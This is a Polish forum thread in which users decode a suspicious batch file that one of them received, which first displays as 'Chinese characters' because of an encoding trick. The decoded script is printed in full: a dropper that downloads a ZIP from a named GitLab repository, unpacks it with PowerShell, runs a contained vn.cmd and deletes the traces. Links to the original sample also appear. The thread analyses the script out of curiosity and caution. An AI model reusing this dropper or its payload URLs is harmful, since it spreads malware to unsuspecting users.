[Nupharizar]

Super ultra chiński haker wysłał mi baita z plikiem wsadowym i myślał pewnie, że go uruchomię. Po otwarciu w edytorze tekstu wyskakują chińskie krzaczki, których nie może rozszyfrować ani ChatGPT ani Google Translate.
Wie ktoś, co to może robić?

਍￾敀档景൦挊獬਍਍敳⁴剕㵌瑨灴㩳⼯楧汴扡挮浯戯畲⽭整浡潦⽲⼭慲⽷慭湩愯档湵⹧楺൰ഊ猊瑥娠偉偟呁㵈㩃啜敳獲停扵楬屣祭楆敬種灩਍਍敳⁴䕄呓义呁佉彎但䑌剅䌽尺獕牥屳畐汢捩਍਍畣汲ⴠ⁌漭∠娥偉偟呁╈•┢剕╌ഢഊ瀊睯牥桳汥挭浯慭摮∠硅慰摮䄭捲楨敶ⴠ楌整慲偬瑡⁨┧䥚彐䅐䡔✥ⴠ敄瑳湩瑡潩偮瑡⁨┧䕄呓义呁佉彎但䑌剅✥ഢഊ搊汥∠娥偉偟呁╈ഢഊ挊污┢䕄呓义呁佉彎但䑌剅尥湶挮摭ഢഊ搊汥∠䐥卅䥔䅎䥔乏䙟䱏䕄╒癜⹮浣≤਍਍硥瑩਍

#informatyka #hacking #bezpieczenstwo #ciekawostki

[Aspoleczny2020]

@Nupharizar Toż to starochińskie porzekadło, ale nie mogę Ci przetłumaczyć bo brzmi obelżywie

[baczex]

@Nupharizar: Google translator zczytuję jak się trochę zaczyna dzielić całość jakieś słowa "Praca", "Opera", "Shanshan" także no

[paczelok]

@Nupharizar: aha aha

[Aspoleczny2020]

@paczelok @Nupharizar aha, czyli tak jak myślałem, byłeś na gościnnych występach w Wuhan i zalałeś kobiete miejscowego tubylca... pssst - nie jeździj tam już, poszukują Cię ;)

[Nupharizar]

@paczelok: pewnie ta komenda "zła woda" powoduje, że u sąsiada pęka rura i Cię zalewa. Ufff dobrze, że udało mi się tego uniknąć.

[paczelok]

@Nupharizar: @Aspoleczny2020 panowie ja wiem że słabo z czytaniem ale na obrazku jest japoński nie chiński

[Nupharizar]

@paczelok nie mądruj, przecież widzimy

[Markotee]

@Nupharizar: https://superuser.com/questions/1676713/how-to-decode-contents-of-a-batch-file-with-chinese-characters

To chyba taka sytuacja u Ciebie występuje

[Nupharizar]

@Aspoleczny2020: @baczex @paczelok Panowie mam to:

User

@echo off

cls

set URL=https://gitlab.com/brum/teamfor/-/raw/main/achung.zip

set ZIPPATH=C:\Users\Public\myFile.zip

set DESTINATIONFOLDER=C:\Users\Public

curl -L -o "C:\Users\Public\myFile.zip" "https://gitlab.com/brum/teamfor/-/raw/main/achung.zip"

powershell -command "Expand-Archive -LiteralPath 'C:\Users\Public\myFile.zip' -DestinationPath 'C:\Users\Public'"

del "C:\Users\Public\myFile.zip"

call "C:\Users\Public\vn.cmd"

del "C:\Users\Public\vn.cmd"

exit

Podsumowując, ten skrypt batch pobiera plik ZIP z określonego adresu URL, rozpakowuje go do określonego folderu, wykonuje inny plik wsadowy "vn.cmd" i na koniec usuwa pliki ZIP oraz "vn.cmd".

@Markotee dzięki za link,

[paczelok]

@Nupharizar: chiński wirus bat

[blamedrop]

@Nupharizar:
Fajne, nie widziałem wcześniej takiego "chińskiego" BATa.

Pobrałem sobie to ich repa, może kiedyś przeanalizuję XD
https://gitlab.com/brum
https://gitlab.com/alibaba2023

Wrzucisz gdzieś oryginał co dostałeś?

Poza tym - korzystanie z GitLaba jako hostingu malware - ( ͡° ʖ̯ ͡°)

[blamedrop]

@Nupharizar: Jakbyś chciał kontakt z autorem XD

commit 2d4d55adff48a2a4f9028e0187afd1f727ad0b36

Author: alio baba <[e-mail]>

Date: Sun Aug 20 07:54:01 2023 +0000

[Nupharizar]

@blamedrop: też to rozkminiałem, GitLab w ogóle pozwala na takie coś czy można ich zgłosić?

uptobox. com/z9j5pyzrsf9j

Tutaj jest plik, który dostałem, oczywiście na zdjęciu laska i nick w chińskie krzaczki, zero przypału xD

[blamedrop]

@Nupharizar:
W ogóle teraz na Windowsie jest curl domyślnie? Ten skrypt w ogóle zadziała? (Nie sprawdzaj XD)

[Nupharizar]

@blamedrop: sprawdziłem (w virtualboxie) i nie działa xD